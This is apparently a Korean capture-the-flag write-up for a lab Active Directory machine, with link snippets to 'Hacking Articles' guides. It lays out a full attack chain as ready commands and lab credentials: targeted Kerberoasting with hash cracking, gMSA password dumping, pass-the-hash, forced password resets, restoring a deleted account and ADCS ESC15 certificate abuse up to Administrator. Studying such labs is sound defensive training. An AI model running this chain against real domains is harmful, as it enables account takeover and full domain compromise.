Abusing AD-DACL: ForceChangePassword
Learn how ForceChangePassword Active Directory abuse works and how attackers reset passwords. Discover detection and defense strategies.
Hacking Articles
- henry / H3nry_987TGV!
Reconnaissance
nmap -sV $IP
- 80포트가 열려있어서 웹사이트로 접근해보았다. 웹사이트 자체에는 기능이 없어 공격표면이 안보여서 subfinder, gobuster를 돌려봤는데도 아무것도 없었다.
nxc smb $IP -u 'henry' -p 'H3nry_987TGV!' -d tombwatcher.htb --shares
nxc smb $IP -u 'henry' -p 'H3nry_987TGV!' -d tombwatcher.htb --users
- nxc를 통해 접근가능한 자원들과 user들을 확인하였다.
bloodhound-python -c all -u 'henry' -p 'H3nry_987TGV!' -d tombwatcher.htb -ns 10.10.11.72 --zip
- bloodhound를 통해 henry계정에 대한 정보들을 분석해보았다.
- USERS→DOMAIN USERS에 속해있었고 ALFRED라는 유저에 대해 WriteSPN이라는 권한을 갖고 있었다.
- SPN ( Service Principal Name )
- Kerberos 인증에서 서비스 인스턴스를 식별하는 고유 이름
- 클라이언트는 이 SPN을 기반으로 Kerberos 티켓을 발급받아 서버와 상호 인증을 수행한다.
- Kerberos
- 신뢰할 수 있는 제 3자인 키 배포 센터(KDC)를 기반으로 작동하는 티켓 기반 인증 프로토콜
- 비밀번호를 네트워크를 통해 직접 전송하지 않고, 티켓을 발급하여 서비스 접근 권한을 인증함
- 기본적으로 TCP/UDP 88포트를 사용하고, AD의 기본 인증 메커니즘
- WriteSPN 권한을 악용하는 공격중 Kerberoasting 이라는 방법을 시도
- setspn 명령어를 통해 ALFRED계정에 SPN을 등록해야함
- 그러려면 HENRY 윈도우셸을 얻어내야 할거같은데 주어진 크리덴셜로 evil-winrm은 작동안함
- Kerberoasting 공격 단계
- target에 SPN 추가
- 이후에 등록된 SPN에 대한 Kerberos 티켓(TGS)를 요청한다. 해당 티켓은 target계정의 암호 기반 키로 암호화 된다.
- 오프라인으로 티켓의 해시를 크랙하면 target계정의 패스워드를 획득 해낸다. (이때 해시 알고리즘이나 비밀번호가 약해야 크랙이 되긴한다.)
Exploitation
ldapsearch -x -H ldap://10.10.11.72 -D "TOMBWATCHER\\HENRY" -w 'H3nry_987TGV!' -b "dc=tombwatcher,dc=htb" "(sAMAccountName=ALFRED)" dn
- dn: CN=Alfred,CN=Users,DC=tombwatcher,DC=htb 값 확인
추가할 spn 내용을 작성
ldapmodify -H ldap://10.10.11.72 -D "TOMBWATCHER\\HENRY" -w 'H3nry_987TGV!' -f add-spn.ldif
ldapsearch -x -H ldap://10.10.11.72 -D "TOMBWATCHER\\HENRY" -w 'H3nry_987TGV!' -b "CN=Alfred,CN=Users,DC=tombwatcher,DC=htb" "(objectClass=*)" servicePrincipalName
- SPN추가 이후에 다시 확인해보면 앞서 작성한 내용이 생긴걸 확인 가능하다.
sudo ntpdate 10.10.11.72
faketime '2025-10-16 01:12:14' GetUserSPNs.py TOMBWATCHER.htb/HENRY:'H3nry_987TGV!' -dc-ip 10.10.11.72 -request -outputfile kerb_hashes.txt
- 일반적으로 실행하니까 시간이 안맞는 오류가 계속 나서 (kerberos는 서버/클라이언트 시간차이가 5분 내여야 한다고함) 저번 발표에서 알게되었던 faketime을 통해 무리없이 오류를 해결하였다!
- 얻어낸 hash 알고리즘이 RC4-HMAC임을 확인했고, 이는 대부분 크랙 가능하다고 한다.
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
- hashcat과 rockyou.txt 파일을 이용해해 해시크랙에 성공하였다!
whitetiger
- basketball
nxc smb $IP -u 'alfred' -p 'basketball' -d tombwatcher.htb
nxc smb $IP -u 'alfred' -p 'basketball' -d tombwatcher.htb --shares
nxc smb $IP -u 'alfred' -p 'basketball' -d tombwatcher.htb --uesrs
- 앞서얻어낸 basketball을 패스워드로 해서 alfred의 smb계정을 얻었다!
- alfred는 INFRASTRCTURE 그룹에 대해 AddSelf 권한을 갖고있었다.
- 그리고 INFRASTRUCTURE 그룹은 ANSIBLE_DEV$ 계정에 대한 ReadGMSAPassword 계정을 갖고있었다.
- gMSA (Group Managed Service Account) : 그룹 관리 서비스 계정, 암호 관리를 자동화하여 여러 서버에서 서비스를 더 안전하게 실행할 수 있게 해주는 Windows Server의 특수 계정
./bloodyAD.py --host 10.10.11.72 -d tombwatcher.htb -u 'alfred' -p 'basketball' add groupMember "CN=Infrastructure,CN=Users,DC=tombwatcher,DC=htb" "CN=Alfred,CN=Users,DC=tombwatcher,DC=htb"
python3 gMSADumper.py -u 'alfred' -p 'basketball' -d 'tombwatcher.htb'
- 그래서 먼저 alfred를 INFRASTRUCTURE 그룹에 추가시켜줬고
- gMSADumper.py 툴을 사용해서 ansible_dev$ 계정의 패스워드 해시값을 얻어낼 수 있었다.
- 해당 해시를 이용해 ansible_dev$ 계정 winrm으로 접근하는거같은데 안됨…
nxc smb 10.10.11.72 -u ansible_dev$ -H bf8b11e301f7ba3fdc616e5d4fa01c30 --shares
- 얻어낸 hash를 비밀번호로 사용하는 pass the hash를 통해 smb에서 ansible_dev$ 의 권한을 획득하였다!
- ANSIBLE_DEV$ 계정은 SAM에대해 ForceChangePassword권한을 갖고 있었다.
ldap_shell tombwatcher.htb/ansible_dev$ -hashes aad3b435b51404eeaad3b435b51404ee:bf8b11e301f7ba3fdc616e5d4fa01c30 -dc-ip 10.10.11.72
change_password sam Password123!
- 타겟유저의 비밀번호를 변경하는 방법은 여러가지 있었는데 그 중 ldap_shell을 이용하여 sam의 비밀번호를 변경하였고, 권한을 얻어내는데 성공했다!
- Hacking ArticlesAbusing AD-DACL: ForceChangePasswordHacking Articles
SAM은 JOHN에 대해 WriteOwner 권한을 가지고 있었다. ( users에 보이는 유저는 다 거친듯 하다..ㅎ )
- 일단 이 권한을 보고 생각나는건, John의 소유권을 sam에게 줘서 john의 비밀번호를 변경하는건데…
- Hacking ArticlesAbusing AD-DACL: WriteOwner
Abusing AD-DACL: WriteOwner
Explore WriteOwner Active Directory abuse and learn how attackers gain object ownership to escalate privileges.
Hacking Articles - sam에게 john의 소유권 부여 → FullControl 권한 부여 → john 패스워드 변경
- 문제 의도가 이 방향이 무조건 맞을것같아서 계속 해보는데 안됐었다.. 포기하고 다음날 한번더 똑같은 방법으로 해봤더니 갑자기 성공했다.
evil-winrm -u john -p 'Password123!' -i 10.10.11.72
- 바꾼 비밀번호로 winrm 접속해보니 user flag를 획득할 수 있었다!
Privilege Escalation
이제 root를 향해서... john은 ADCS OU(organization unit)에 대해 GenericAll 권한을 갖고 있었다.
- 이 ADCS 하위의 객체를 먼저 탐색해봐야 한다.
- 탐색해보는데 cert_admin라는 계정이 존재 했다가 말았다가 하길래 몇일을 막혀있다가 라업을 살짝 보니 삭제된 계정을 찾아내서 복원해야 하는 단계였다.
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -SearchBase "DC=tombwatcher,DC=htb" -Properties *
./bloodyAD.py -u john -p 'Password123!' -d tombwatcher.htb -H 10.10.11.72 set password "CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb" 'Password123!’
- john의 winrm으로 들어가서 삭제된 계정을 탐색해보니 cert_admin 계정이 존재했다!
Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
- 그리고 해당 ID값을 사용하여 계정을 복원하고 ADCS내부 객체를 다시 확인해보니 cert_admin이 생겼다
./bloodyAD.py -u john -p 'Password123!' -d tombwatcher.htb -H 10.10.11.72 set password "CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb" 'Password123!’
- 이후에 john의 명의로 cert_admin의 비밀번호도 변경해 주었다.
certipy find -vulnerable -u cert_admin -p Password123! -dc-ip '10.10.11.72’
- certipy로 cert_admin 계정에 대해 취약점을 찾아봤는데 결과 json 파일 내에서 단서를 찾아내었다.
- Hacking ArticlesADCS ESC15 - Exploiting Template Schema v1
ADCS ESC15 - Exploiting Template Schema v1
Learn how to exploit ESC15 in ADCS by abusing template schema v1 misconfigurations to escalate privileges in Active Directory.
Hacking Articles
ESC15
- ESC (Enterprise Subordinate CA abuses) : 잘못된 템플릿 구성이나 CA 권한 설정등의 구성 실수를 통해 권한상승이 가능한 여러 기법을 번호로 정리한 공격 프레임워크
- AD CS (Active Directory Certificate Services) : 조직 내 인증서 발급 및 관리 서버 역할로, 사용자나 장치인증, 암호화 등에 이용됨
- 인증서 템플릿 (Certificate Template) : CA가 어떤 목적으로 어떤 권한을 가진 인증서를 발급할 것인지를 정의하는 설정, 템플릿이 잘못 구성되어 있으면 공격자가 낮은 권한에서 인증서를 요청해 높은 권한의 사용자로 위장이 가능해진다.
- 이중 ESC15는 스키마 버전 1인 구버전 템플릿을 이용해서 인증서 요청시, “Application Policies” 확장을 사용자가 지정할 수 있다는점을 악용한 취약점이다. (OIDs)
certipy req -dc-ip 10.10.11.72 -ca tombwatcher-CA-1 -target-ip 10.10.11.72 -u cert_admin@tombwatcher.htb -p 'Password123!' -template WebServer -upn Admin
istrator@tombwatcher.htb -application-policies 'Client Authentication'
- cert_admin에 대해 인증서 발급을 요청한다, 이때 Client Authentication EKU(Extended Key Usage) 가 주입된다. 이는 보통 Web Server 템플릿에서 허용되지 않지만 스키마 버전1 이기 때문에 EKU 필드를 제대로 필터링하지 못해 Administrator에 대한 권한이 있는 Kerberos 인증서를 얻을 수 있게 된다.
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 -ldap-shell
- ldap-shell을 얻는데 성공해서, Administrator 계정의 비밀번호를 변경해보았는데 성공하였다!
- winrm에 접근하여 root flag 획득!!!